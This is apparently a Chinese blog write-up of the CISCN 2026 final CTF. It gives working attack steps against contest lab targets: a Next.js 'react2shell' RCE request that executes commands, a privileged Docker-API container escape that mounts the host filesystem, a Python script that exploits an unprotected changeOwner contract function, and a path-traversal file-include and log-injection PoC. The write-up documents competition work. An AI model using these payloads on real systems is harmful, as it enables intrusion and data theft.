目录

  1. 1. 前言
  2. 2. Build
  3. 3. 渗透
  4. 4. 区块链
    1. 4.1. 未授权
  5. 5. AWDP
    1. 5.1. web1
↑

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CISCN 2026 Final

2026/8/28 线下赛
  |     |   总文章阅读量:次

前言

一场主办方的闹剧,精心准备的最后一舞终以无奈收场

可惜了第一天的渗透前十,原来我们一直在用 27b 模型对抗本地部署了 v4pro 甚至更强的模型啊🤣

Build

评分项 分值 评分说明
格式合规 10 严格检查文件、schema、枚举、时间、唯一性和引用关系;任一错误使本次提交无效,总分为 0。
证据发现 25 按 event_id 命中情况计算 precision、recall 和 F1。
攻击阶段分类 10 检查命中关键证据的 stage 是否正确。
时间线还原 15 保序一对一匹配;必需证据 70%、stage 15%、起止时间各 7.5%。
拓扑节点 10 规范化实体集合按 precision、recall 和 F1 评分。
拓扑边关系 20 from/to 40%、action 15%、stage 15%、时间 10%、必需证据 20%,再计算质量 F1。
IOC 提取 10 type/value F1 占 7 分,时间、关联资产和证据元数据占 3 分。

分别拿 v4pro 和 5.6 sol 跑了几轮交了三发,拓扑拿的分很糟糕

提交 时间 状态 总分 格式 证据 阶段 时间线 节点 边 IOC 错误
第 3 次 2026-08-16T17:34:55+08:00 评分完成 73.12 10.00 25.00 8.65 12.28 6.15 3.94 7.10 无
第 2 次 2026-08-13T17:30:38+08:00 评分完成 76.66 10.00 25.00 8.65 12.01 6.80 7.49 6.71 无
第 1 次 2026-08-13T10:30:34+08:00 评分完成 76.44 10.00 24.76 8.65 11.58 7.17 7.18 7.10 无

排三十多名还行


渗透

今年渗透挺强的,一路杀到全场第 5

信息收集

start infoscan
192.168.18.3:8080 open
192.168.18.3:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://192.168.18.3       code:307 len:5      title:None 跳转url: http://192.168.18.3/apps
[*] WebTitle http://192.168.18.3:8080  code:200 len:13519  title:区块链
[*] WebTitle http://192.168.18.3/apps  code:200 len:45492  title:None

80 端口上是 dify,直接打 react2shell 了

POST /apps HTTP/1.1
Host: 192.168.18.3
Next-Action: x
X-Nextjs-Request-Id: b5dce965
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
sec-fetch-mode: navigate
cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1757815655
accept-encoding: gzip, deflate, br, zstd
sec-fetch-dest: document
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
te: trailers
sec-fetch-site: none
sec-fetch-user: ?1
priority: u=0, i
accept-language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat /flag',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

flag{11111103b2ce49e4a541068d49111111}

内网信息收集

/app/web $  ./fscan32 -h 172.18.0.5/24 -np

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
172.18.0.1:22 open     
172.18.0.1:80 open
172.18.0.2:80 open
172.18.0.1:443 open
172.18.0.7:5432 open  (postgres:15-alpine)
172.18.0.6:6379 open  (redis:6-alpine)
172.18.0.3:8080 open
172.18.0.1:8080 open
172.18.0.1:2375 open
172.18.0.5:3000 open  (langgenius/dify-web:1.10.0-flag)
172.18.0.8:3128 open  
172.18.0.3:8300 open  (semitechnologies/weaviate:1.27.0)
[*] alive ports len is: 12
start vulscan
[*] WebTitle http://172.18.0.8:3128    code:400 len:3212   title:ERROR: The requested URL could not be retrieved
[*] WebTitle http://172.18.0.3:8080    code:301 len:111    title:None 璺宠浆url: http://172.18.0.3:8080/v1
[*] WebTitle http://172.18.0.2         code:307 len:5      title:None 璺宠浆url: http://172.18.0.2/apps
[*] WebTitle http://172.18.0.1         code:307 len:5      title:None 璺宠浆url: http://172.18.0.1/apps
[*] WebTitle http://172.18.0.3:8080/v1 code:200 len:1383   title:None
[*] WebTitle http://172.18.0.1:2375    code:404 len:29     title:None
[*] WebTitle http://172.18.0.1:8080    code:200 len:13519  title:鍖哄潡閾?
[*] WebTitle http://172.18.0.5:3000    code:307 len:5      title:None 璺宠浆url: http://172.18.0.5:3000/apps

[*] WebTitle http://172.18.0.5:3000/apps code:200 len:45492  title:None
[*] WebTitle http://172.18.0.1/apps    code:200 len:45492  title:None
[*] WebTitle http://172.18.0.2/apps    code:200 len:45492  title:None
[+] PocScan http://172.18.0.1:2375 poc-yaml-docker-api-unauthorized-rce
[+] PocScan http://172.18.0.1:2375 poc-yaml-go-pprof-leak
[+] PocScan http://172.18.0.3:8080/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]

存在 docker api 未授权

❯ proxychains4 -q docker -H tcp://172.18.0.1:2375 images
                                                                i Info →   U  In Use
IMAGE                                ID             DISK USAGE   CONTENT SIZE   EXTRA
langgenius/dify-api:1.10.0           61ec4eedffff       3.33GB          774MB    U   
langgenius/dify-plugin-daemon:0.4.1-local
                                     cc0ff3c59d51       2.13GB          554MB    U   
langgenius/dify-sandbox:0.2.12       4e65e8a351a2        825MB          189MB    U   
langgenius/dify-web:1.10.0           ad20580cb418        829MB          184MB        
langgenius/dify-web:1.10.0-flag      9b95dcd61966        829MB          184MB    U   
nginx:latest                         ec4ed8b5299e        241MB           66MB    U   
postgres:15-alpine                   cd17e2ac9824        417MB          116MB    U   
redis:6-alpine                       c9ab371a96b0       41.8MB         11.9MB    U   
semitechnologies/weaviate:1.27.0     53fa576934f8        234MB         70.8MB    U   
ubuntu/squid:latest                  6a097f68bae7        303MB         70.3MB    U   


❯ proxychains4 -q docker -H tcp://172.18.0.1:2375 run --privileged=true -it -v /:/tmp
 nginx /bin/sh

# ls
bin   docker-entrypoint.d   home   media  proc	sbin  tmp
boot  docker-entrypoint.sh  lib    mnt	 root	srv   usr
dev   etc		   lib64  opt	 run	sys   var
# ls /tmp
afs  boot  etc	home  lib64  meta.js  opt   root  sbin  sys  usr
bin  dev   flag  lib   media  mnt      proc  run   srv	tmp  var
# cat /tmp/flag
flag{333333b8548dabf9bbc55166ca333333}

flag{333333b8548dabf9bbc55166ca333333}

由于 .1 开着 22 端口,此处可以写 ssh 公钥,ssh 连上 .1 宿主机即可

然后就能从 docker 横向 postgres 了

postgres=# \l
                                                 List of databases
    Name     |  Owner   | Encoding |  Collate   |   Ctype    | ICU Locale | Locale Provider |   Access privileges
-------------+----------+----------+------------+------------+------------+-----------------+-----------------------
 dify        | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
 dify_plugin | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
 flag        | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
 postgres    | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
 template0   | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/postgres          +
             |          |          |            |            |            |                 | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/postgres          +
             |          |          |            |            |            |                 | postgres=CTc/postgres
(6 rows)
postgres=# \c flag
You are now connected to database "flag" as user "postgres".
flag=# \d
        List of relations
 Schema | Name | Type  |  Owner
--------+------+-------+----------
 public | flag | table | postgres
(1 row)

flag=# \d flag
              Table "public.flag"
 Column | Type | Collation | Nullable | Default
--------+------+-----------+----------+---------
 flag   | text |           | not null |
Indexes:
    "flag_pkey" PRIMARY KEY, btree (flag)

flag=# SELECT * FROM flag;
                  flag
----------------------------------------
 flag{222222683722cb4f1534afd9bc222222}
(1 row)

flag{222222683722cb4f1534afd9bc222222}

目标 结论
.1 宿主机 ✅ root(docker api 未授权)
.5 dify-web(-flag 镜像) ✅ flag + shell
.7 pg ✅ 横向 flag
.6 redis ✅ 收口:仅 plugin-daemon 心跳/抢占锁,无植入
.4 plugin-daemon ✅ 收口:官方脚手架 main,无 flag
.3 weaviate ✅ 收口:空库,API Key 已拿(WVF5…)可留作报告凭据
.2/.8 nginx+squid 基础设施组件,随 .1 root 全覆盖
.1:8080 区块链应用 🔀 唯一剩余活跃目标,链上路线

区块链

这是链上 CTF 平台(geth Clique 私有链,chain id 888,RPC 走 /rpc/),平台已自动给你分配了一个账户 0x5904…7b0c,首页有接水(faucet)按钮可领测试 ETH。
/contracts/contracts.json 列出 3 道合约题,每题都是「满足条件 → claimFlag() / decryptFlag() 拿 flag」模式。

三题漏洞与解法:

  1. EasyAccessControl (0x99ec…cc9b61 是 owner) — 无权限控制,最简单
    • changeOwner() 没有 onlyOwner,任何人可把 owner 改成自己
    • 路径:changeOwner(你) → openDoor() → claimFlag()
  2. Game / MediumReentrancyVault (0xcb4c…2d55) — 经典重入
    • withdraw() 先 call 转账后清零余额(check-effects-interactions 违规)
    • 合约内有 1 ETH。攻击合约在 receive 回调里反复 withdraw 直到抽干 → 调 check()(要求合约 balance==0)→ claimFlag()
  3. WalletSignatureDecrypt (0x9531…dd60e) — 需拿到 authorizedSigner 的签名
    • 需要拿到 authorizedSigner 地址对 keccak256(abi.encodePacked(“\x19Ethereum Signed Message:\n32”, challengeHash)) 的 65 字节签名(以太坊标准 personal_sign 格式)
    • 前两步拿到 signer/challengeHash/encryptedFlag 后,去挖 signer 的私钥线索(题目可能另有 web 端泄露),或用前端「接水/管理 token」等旁路

未授权

执行过程(3 笔交易,均成功):

  1. changeOwner(0x5904…7b0c) — 把 owner 从部署者 0xebf5…cc9b61 改成你自己(该函
    数漏写了权限检查,这是核心漏洞)
  2. openDoor() — 现在你是 owner,passed[msg.sender] = true
  3. claimFlag() — 验证 passed 为 true,返回 flag 并标记已解决
$ cd ~/Downloads/CISCN2026Final/PTC && python3 - <<'EOF'               
 import json,urllib.request,time,subprocess                                          
 RPC="http://192.168.18.3:8080/rpc/"                                                 
 ME="0x59045ba3f7a4aa0f25a5e02032ea064411f07b0c"                                     
 EASY="0x99ec67374c983edac3c58306b3f19b5d660d771f"                                   
 def rpc(m,p):                                                                       
                                                                                     
 req=urllib.request.Request(RPC,data=json.dumps({"jsonrpc":"2.0","id":1,"method":m," 
 params":p}).encode(),headers={"Content-Type":"application/json"})                   
     j=json.load(urllib.request.urlopen(req))                                        
     if "error" in j: raise RuntimeError(str(j["error"]))                            
     return j["result"]                                                              
 def sel(n):                                                                         
                                                                                     
 o=subprocess.run(["cast","sig",n],capture_output=True,text=True,timeout=15).stdout. 
 strip()                                                                             
     assert o.startswith("0x") and len(o)==10, n                                     
     return o                                                                        
 def call(to,data):                                                                  
     return rpc("eth_call",[{"from":ME,"to":to,"data":data},"latest"])               
 def send(to,data):                                                                  
     nonce=rpc("eth_getTransactionCount",[ME,"pending"])                             
     gp=rpc("eth_gasPrice",[]) or "0x3b9aca00"                                       
                                                                                     
 h=rpc("eth_sendTransaction",[{"from":ME,"to":to,"gas":"0x186a0","gasPrice":gp,"nonc 
 e":nonce,"data":data}])                                                             
     for _ in range(60):                                                             
         r=rpc("eth_getTransactionReceipt",[h])                                      
         if r: return r                                                              
         time.sleep(2)                                                               
     raise RuntimeError("no receipt")                                                
 def dstr(x):                                                                        
     b=bytes.fromhex(x[2:]); off=int.from_bytes(b[:32],"big");                       
 ln=int.from_bytes(b[off:off+32],"big")                                              
     return b[off+32:off+32+ln].decode()                                             
 so=sel("changeOwner(address)"); sp=sel("openDoor()"); sc=sel("claimFlag()");        
 sg=sel("getFlagAfterSolved()")                                                      
 r1=send(EASY,so+ME[2:].rjust(64,"0")); print("changeOwner:",r1["status"])           
 print("owner now:",call(EASY,"0x8da5cb5b"))                                         
 r2=send(EASY,sp); print("openDoor:",r2["status"])                                   
 r3=send(EASY,sc); print("claimFlag:",r3["status"])                                  
 print("FLAG:",dstr(call(EASY,sg)))                                                  
 EOF                                                                                 
                                                                                     
 changeOwner: 0x1                                                                    
 owner now: 0x00000000000000000000000059045ba3f7a4aa0f25a5e02032ea064411f07b0c       
 openDoor: 0x1                                                                       
 claimFlag: 0x1                                                                      
 FLAG: flag{555555d138832fc5818c7ff43d555555} 

flag{555555d138832fc5818c7ff43d555555}


AWDP

修不了,传什么都修不了,没有报错,没有回显,必定正确的修复依旧判错…

web1

漏洞点 1:任意文件包含 → 任意代码执行 / 源码泄漏 【高危,核心洞】

位置:vendor/topthink/framework/src/think/Lang.php → switchLangSet() 中新增的 @ 兼容分支

if (str_starts_with($langset, '@')) {
 $local = ltrim(substr($langset, 1), '/\\');
 $file  = $this->app->getRootPath() . $local;
 if (is_file($file)) { include $file; }
}                                                                                                                                                                      
  • 触发链:
  1. config/lang.php:detect_var => ‘locale’、allow_lang_list => [](空 = 不校验任何语言)、auto_detect_browser => true
  2. LoadLangPack::detect() 的 preg 允许 @ . / - _ 等字符,且 allow_lang_list 为空时任意值直接 setLangSet
  3. defaultLangSet() != $langset → switchLangSet() 进入 @ 分支
  • 利用(URL 传参即可,?locale= / x-locale 头 / ops_locale Cookie 均可):
    • 源码/文件内容泄漏:GET /?locale=@app/middleware/AccessTrace.php、GET /?locale=@../../../../etc/passwd(ltrim 只剥前导 /,.. 可越过 rootPath,include 直接输出文件内容)
    • RCE:root 下存在可被写成/投放的 .php 时直接执行(本机 runtime/、vendor/ 均可达;注意:@ 分支 include 在中间件阶段执行,PHP 会先刷出之前缓冲输出)
  • 修复(最小 diff,删除注入的 @ 兼容分支即可):
-        if (str_starts_with($langset, '@')) {
-            $local = ltrim(substr($langset, 1), '/\\');
-            $file  = $this->app->getRootPath() . $local;
-
-            if (is_file($file)) {
-                include $file;
-            }
-        }

并建议 config/lang.php 填上白名单 ‘allow_lang_list’ => [‘zh-cn’,’en-us’]。

漏洞点 2:访问日志注入 / 信息外带 【低危】

  • 位置:app/middleware/AccessTrace.php writeAccessLog()
  • 原理:User-Agent(截断 600)、pathinfo 未过滤换行符直接 file_put_contents 进 runtime/log/access.log,可伪造日志行;若日志被展示/回读接口消费则可二次注入。
  • PoC:curl -H $’User-Agent: evil\n[2026-01-01] admin login ok’ /
  • 修复:写日志前 $ua = str_replace([“\r”,”\n”], ‘ ‘, $ua);(path 同理)。

f**king CISCC